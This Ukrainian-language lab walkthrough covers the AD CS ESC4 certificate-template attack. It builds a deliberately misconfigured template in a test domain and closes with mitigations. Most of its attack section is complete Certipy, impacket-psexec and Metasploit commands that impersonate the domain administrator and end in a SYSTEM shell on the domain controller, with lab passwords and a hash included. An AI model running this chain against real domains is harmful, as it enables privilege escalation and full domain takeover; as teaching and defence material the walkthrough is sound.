>

ESC4 (Active Directory Certificate Services Vulnerability) - це високий ризик у службах сертифікації ADCS, що дозволяє зловмисникам експлуатувати неправильно налаштовані права доступу до шаблонів (наприклад, Write, GenericAll, WriteDACL). Ця вада є критичною точкою входу для атаки на сертифікати. Шляхом модифікації вразливих шаблонів атакувальники можуть видавати сертифікати автентифікації з EKU Client або Server Authentication, що дає змогу імітувати привілейованих користувачів або системи (наприклад, Domain Admins, Domain Controllers) через Kerberos PKINIT.

Така форма атаки ESC4 може призвести до повної компрометації домену. Ефективна протидія атакам на сертифікати ADCS вимагає суворого контролю дозволів та посиленого захисту конфігурацій шаблонів.

Зміст

• Огляд атаки ESC4
• Механізм атаки ESC4
• Структура EKU Server Authentication
• Передумови
• Налаштування лабораторії
• Пошук вразливостей та експлуатація
• Атака ESC4 за допомогою Certipy
• Післяексплуатація
• Горизонтальне переміщення та підвищення привілеїв за допомогою impacket-psexec
• Атака ESC4 за допомогою Metasploit
• Заходи безпеки

Огляд атаки ESC4

Атака ESC4 в ADCS виникає через неправильно налаштовані записи керування доступом (ACE) у шаблонах сертифікатів. Коли ці ACE надають неавторизованим або непривілейованим користувачам Active Directory можливість змінювати налаштування безпеки шаблону, зловмисники можуть отримати контроль над ним і видавати сертифікати з підвищеними привілеями. Ця атака є особливо небезпечною, коли зловмисники використовують сертифікати з EKU Server Authentication (розширене використання ключа) для імітації довірених серверів, як-от контролерів домену, та отримання несанкціонованого доступу до конфіденційних ресурсів.

Атака ESC4 стає можливою за умови виконання таких умов:

• True - Користувач із низькими привілеями має дозволи Write/Owner/Modify для шаблону сертифіката (наприклад, WriteOwner, WriteDacl, WriteProperty).
• True - Користувач із низькими привілеями має дозвіл на реєстрацію (Enroll) або автореєстрацію (Autoenroll) у вразливому шаблоні.
• True - Шаблон дозволяє вказувати довільне альтернативне ім’я суб’єкта (SAN) (наприклад, для підміни FQDN контролера домену).
• True - Шаблон містить або може бути змінений для включення EKU Server Authentication (1.3.6.1.5.5.7.3.1).

Примітка: Це дозволяє використовувати сертифікат для таких служб, як LDAPS, Kerberos PKINIT або SMB.

• True - Центр сертифікації (CA) не потребує схвалення для видачі сертифіката (відсутні налаштування ручного підтвердження менеджером).
• True - Такі служби, як Kerberos (PKINIT), LDAPS або SMB, довіряють сертифікатам із EKU Server Authentication.
• True - Атакувальник має можливість запросити сертифікат із довільними записами SAN, наприклад, із іменем контролера домену.

Примітка: Атаки ESC4 також стають можливими через необачність - особливо за відсутності аудиту чи сповіщень про зміну шаблонів сертифікатів або підозрілі запити на їх видачу.

Механізм атаки ESC4

Атака ESC4 починається з неправильно налаштованих шаблонів сертифікатів в ADCS, де зловмисники з правами Write або Full Control можуть видавати сертифікати з EKU Server Authentication. Ці довірені сертифікати дозволяють атакувальникам імітувати критично важливі сервери, як-от контролери домену, що забезпечує підвищення привілеїв, несанкціонований доступ і повну компрометацію домену.

Етапи атаки:

• Ідентифікація вразливих шаблонів: Атакувальник знаходить шаблони сертифікатів із неправильно налаштованими правами доступу (наприклад, Write, Full Control).
• Модифікація шаблону: Атакувальник додає EKU Server Authentication, щоб уможливити імітацію на основі сертифіката.
• Запит сертифіката: Використовуючи такі інструменти, як Certipy-AD, атакувальник запитує сертифікат на основі модифікованого шаблону.
• Перевірка/перевипуск сертифіката: Підтвердження шляху зловживання та створення оновленого сертифіката після внесення змін.
• Використання сертифіката: Атакувальник проходить автентифікацію як довірений сервер (наприклад, контролер домену), використовуючи виданий сертифікат.
• Компрометація домену: Атакувальник підвищує привілеї, отримуючи права Domain Admin і повний контроль над доменом.

Структура EKU Server Authentication

EKU (Extended Key Usage) - це поле в сертифікаті X.509, яке визначає цільове призначення сертифіката. EKU Server Authentication застосовується в сертифікатах, що видаються для автентифікації серверів у захищеному каналі зв’язку. Зазвичай воно використовується для SSL/TLS-сертифікатів та автентифікації Kerberos для таких служб, як контролери домену.

Структура EKU Server Authentication:

• OID (ідентифікатор об’єкта) 1.3.6.1.5.5.7.3.1: визначає сертифікат для автентифікації сервера (SSL/TLS або Kerberos).
• Subject Alternative Name (SAN): містить DNS-імена або IP-адреси; у разі модифікації дозволяє імітувати сервер.
• Key Usage: визначає криптографічні функції, що дозволяють використовувати сертифікат для автентифікації SSL/TLS або Kerberos.
• EKU (Extended Key Usage): визначає сферу застосування сертифіката; зловмисники можуть додати Server Authentication EKU для імітації довірених серверів.

Передумови

• Windows Server 2019 як Active Directory з підтримкою PKINIT.
• У домені мають бути налаштовані служби сертифікації Active Directory (AD CS) та центр сертифікації (CA).
• Kali Linux із набором необхідних інструментів.
• Інструменти: Impacket-psexec, certipy-ad, Metasploit.

Налаштування лабораторії

Почніть із запуску консолі шаблонів сертифікатів:

Виконайте команду certtmpl.msc на контролері домену, після чого перейдіть у Certificate Templates → Manage.

Скопіюйте шаблон «Certificate Template»

• Прокрутіть вниз і знайдіть шаблон «Code Signing».
• Клацніть правою кнопкою миші → Виберіть Duplicate Template (Дублювати шаблон).

Налаштування нового шаблону

З’явиться нове вікно з кількома вкладками, пройдіть їх одну за одною.

Вкладка General (Загальні):

• Установіть Template display name (Відображуване ім’я шаблону) на: ESC4
• (Опціонально) Налаштуйте Validity Period (Термін дії) - зазвичай достатньо стандартного значення в 1 рік.

Ця назва відображатиметься під час запиту сертифіката

Налаштування вкладки Subject Name (Ім’я суб’єкта)::

• Оберіть: Build from this Active Directory information (Сформувати на основі інформації з Active Directory)
• Оберіть: Subject Name Format to None (Формат імені суб’єкта: Немає)
• Поставте галочку: User Principal name (UPN)

Примітка: Встановлення значення «None» дозволяє використовувати стандартну інформацію з Active Directory для імені суб’єкта без будь-якого додаткового форматування або налаштування.

Налаштування вкладки Security (Безпека)

• Натисніть Add (Додати) → Введіть «Domain Users» → Натисніть OK
• Оберіть групу Domain Users
• Поставте галочку → Write (Запис)

Налаштування вкладки Extensions (Розширення)

• Перейдіть на вкладку Extensions
• Оберіть Application Policies → Натисніть Edit (Редагувати)

У вікні редагування (Edit Window):

• Натисніть Add (Додати) і виберіть Server Authentication.

І натисніть OK

Підтвердження вимог до видачі

Поверніться до вікна Центру сертифікації (certsrv.msc). Клацніть правою кнопкою миші на Certificate Templates → Виберіть New → Certificate Template to Issue.

Знайдіть у списку вразливий шаблон і виберіть його; у нашому випадку ми створили його під назвою ESC4.

Натисніть OK, щоб опублікувати його.

Збереження шаблону

Натисніть OK, щоб зберегти та закрити.

Ми бачимо, що наш шаблон тепер створено!

Пошук вразливостей та експлуатація

Атака ESC4 за допомогою Certipy

Використовуйте Certipy з машини атакувальника для перерахування конфігурації ADCS та ідентифікації вразливих шаблонів, вказавши «raj» як користувача. Команда для виконання:

certipy-ad find -u 'raj@ignite.local' -p Password@1 -dc-ip 192.168.1.48 -vulnerable -enabled

Відкрийте файл 20250402135640_Certipy.txt або .json та знайдіть вразливий шаблон і Центр сертифікації (CA) із небезпечними дозволами для групи Domain Users. Було виявлено вразливий шаблон ESC4, де ключовими індикаторами ризику є дозволи на запис (write), призначені для Domain Users, а також те, що шаблон увімкнено та він є доступним.

Шаблон можна змінити або експлуатувати за допомогою ланцюгових атак, використовуючи Certipy-AD. Ми скористаємося цим, активувавши специфічні прапорці, які відкривають додаткові шляхи для атаки. Використовуючи наявні права доступу до ESC4, ми оновимо шаблон для повної експлуатації.

Ця команда застосовує користувацьку конфігурацію до існуючого шаблону сертифіката AD CS за допомогою certipy-ad.

certipy-ad template -u 'raj@ignite.local' -p Password@1 -template ESC4 -target 192.168.1.48 -save-old

Це призвело до модифікації шаблону сертифіката ESC4 - ймовірно, щоб зробити його ще більш вразливим, зокрема для зловживань у стилі ESC1, а не лише ESC4.

Докладнішу інформацію про ESC1 можна знайти тут AD CS ESC1

Перевірка вразливого шаблону за допомогою команди

certipy-ad find -u 'raj@ignite.local' -p Password@1 -dc-ip 192.168.1.48 -vulnerable -enabled

Після перевірки шаблону стають очевидними такі зміни:

• Client Authentication (Автентифікація клієнта) встановлено у значення True, що дозволяє використовувати сертифікат для входу/PKINIT, а це є критично важливим для зловживання автентифікацією Kerberos.
• Прапорець Enrollment Agent (Агент реєстрації) також активовано - це небезпечне налаштування, яке дозволяє видавати сертифікати від імені інших користувачів.
• Прапорець Any Purpose (Будь-яке призначення) активовано, що дозволяє використовувати сертифікат для будь-якого розширеного використання ключа (EKU).
• Enrollee Supplies Subject увімкнено - атакувальник може вказати власний UPN або ім’я користувача під час запиту сертифіката.

Ці зміни дозволяють здійснювати прямі запити на отримання сертифікатів для будь-якого доменного користувача, подібно до класичного зловживання ESC1.

Примітка: Найбільш критична помилка конфігурації сталася тоді, коли користувачеві було надано права на запис у шаблоні сертифіката. У випадку з ESC4 це дозволяє користувачеві змінити шаблон, щоб активувати додаткові функції, які легко експлуатувати.

Чому це так ефективно (після модифікації)

Ми перетворили шаблон ESC4, який спочатку вимагав NTLM-релея, на більш універсальну вразливість, що дозволяє пряме зловживання через різні шляхи атак ADCS без необхідності використання NTLM-релея.

Тепер ми видаємо себе за адміністратора (impersonate) та запитуємо сертифікат:

certipy-ad req -u 'raj@ignite.local' -p 'Password@1' -dc-ip 192.168.1.48  -ca ignite-DC-CA -target 'dc.ignite.local' -template 'ESC4' -upn 'administrator@ignite.local'

Certipy зберігає .pfx-файл (administrator.pfx), який містить повні облікові дані для імітації користувача (impersonation), тож давайте автентифікуємося як адміністратор за допомогою цього сертифіката.

certipy-ad auth -pfx administrator.pfx  -dc-ip 192.168.1.48

Постексплуатація

Горизонтальне переміщення та підвищення привілеїв за допомогою impacket-psexec

Це надає Kerberos TGT для облікового запису адміністратора. Маючи активний квиток (ticket), ми можемо виконувати команди як адміністратор на контролері домену (DC):

impacket-psexec ignite.local/administrator@ignite.local -hashes <Hash Value>

Ми успішно отримали оболонку (shell) з правами SYSTEM на контролері домену, повну компрометацію домену підтверджено.

Атака ESC4 за допомогою Metasploit

Ідентифікація вразливих шаблонів сертифікатів

Використовуйте модуль Metasploit ldap_esc_vulnerable_cert_finder для перерахування шаблонів сертифікатів, вразливих до ESC. Дізнатися більше про цей модуль можна тут.

Примітка: Цей модуль опитує LDAP-сервер для виявлення шаблонів сертифікатів, вразливих до різних атак типу ESC, включаючи ESC1, ESC2, ESC3 та ESC4.

use auxiliary/gather/ldap_esc_vulnerable_cert_finder
set DOMAIN ignite.local
set USERNAME raj
set PASSWORD Password@1
set RHOSTS 192.168.1.48
run

Модифікація вразливого шаблону

Після того, як шаблон ESC4 ідентифіковано як вразливий, скористайтеся Certipy для зміни його конфігурації.

certipy-ad template -u 'raj@ignite.local' -p Password@1 -template ESC4 -target 192.168.1.48 -configuration ESC4.json

Ця команда застосовує налаштування, визначені у файлі Custom_Template_ESC4.json, до шаблону ESC4. Це потенційно активує такі прапорці, як Client Authentication (Автентифікація клієнта), Enrollment Agent, Any Purpose, а також дозволяє заявнику вказувати ім’я суб’єкта (enrollee supplies subject).

Запит сертифіката для адміністратора

Використовуючи модифікований шаблон, виконайте запит на отримання сертифіката, імітуючи обліковий запис адміністратора:

use auxiliary/admin/dcerpc/icpr_cert
set RHOSTS 192.168.1.48
set CA ignite-DC-CA
set CERT_TEMPLATE ESC4
set SMBDomain ignite.local
set SMBPass Password@1
set SMBUser raj
set alt_upn administrator
run

Цей модуль експлуатує помилку конфігурації для видачі сертифіката на інше ім’я користувача (User Principal Name, UPN), що фактично дозволяє пройти автентифікацію під виглядом іншого користувача. Докладніше читайте тут.

Перевірка зміненого шаблону

Це корисно для підтвердження того, що шаблон досі залишається вразливим, або для документування внесених змін. Для цього запустіть модуль Metasploit auxiliary/admin/ldap/ad_cs_cert_template. Дізнатися більше про цей модуль можна тут.

use auxiliary/admin/ldap/ad_cs_cert_template
set RHOSTS 192.168.1.48
set USERNAME raj
set domain ignite.local
set PASSWORD Password@1
set CERT_TEMPLATE ESC4
set ACTION UPDATE
set VERBOSE true
run

Це дозволяє отримати детальну інформацію про шаблон сертифіката ESC4, включаючи EKU (наприклад, Client Authentication), прапорець Enrollment Agent, налаштування імені суб’єкта, авторизованих реєстраторів, а також періоди дії та оновлення - так само, як ми робили це раніше за допомогою Certipy.

Повторна видача сертифіката

Запустіть модуль icpr_cert ще раз, щоб перевірити стабільність шляху експлуатації (abuse path):

use auxiliary/admin/dcerpc/icpr_cert
set RHOSTS 192.168.1.48
set CA ignite-DC-CA
set CERT_TEMPLATE ESC4
set SMBDomain ignite.local
set SMBPass Password@1
set SMBUser raj
set alt_upn administrator
run

Отримання Kerberos-квитка (Ticket)

Використовуйте отриманий сертифікат для запиту Kerberos-квитка на отримання квитків (TGT):

use admin/kerberos/get_ticket
set action GET_HASH
set CERT_FILE /root/.msf4/loot/20250402142649_default_192.168.1.48_windows.ad.cs_814382.pfx
set RHOSTS 192.168.1.48
set domain ignite.local
set username administrator
run

Цей модуль використовує сертифікат для автентифікації та отримання TGT (Ticket Granting Ticket) для облікового запису адміністратора.

Підтвердження доступу за допомогою PsExec

Маючи TGT, підтвердьте доступ адміністратора домену, виконавши команду на контролері домену (DC):

use exploit/windows/smb/psexec
set RHOSTS 192.168.1.48
set smbomain ignite.local
set username administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38
run

Ця команда використовує поточний Kerberos TGT для створення сесії Meterpreter з правами NT AUTHORITY\SYSTEM на контролері домену (DC).

Заходи протидії (Mitigation)

• Обмеження реєстрації: Дозволяйте запитувати сертифікати лише довіреним групам (наприклад, Domain Admins).
• Заборона надання імені суб’єкта: Вимкніть можливість вказувати дані користувача вручну; використовуйте лише інформацію з Active Directory.
• Обмеження EKU: Видаліть зайві розширення призначення ключів, такі як Client Auth, якщо вони не потрібні.
• Деактивація Enrollment Agent: Вимкніть прапорець агента реєстрації, окрім випадків крайньої потреби.
• Аудит прав доступу: Регулярно перевіряйте дозволи на шаблони (зокрема WriteDACL та WriteOwner).
• Моніторинг запитів: Відстежуйте аномальні запити на отримання сертифікатів.
• Захист Центру сертифікації (CA): Обмежуйте доступ адміністраторів та мінімізуйте видимість CA у мережі.
• Ревізія шаблонів: Видаляйте невикористовувані або некоректно налаштовані шаблони.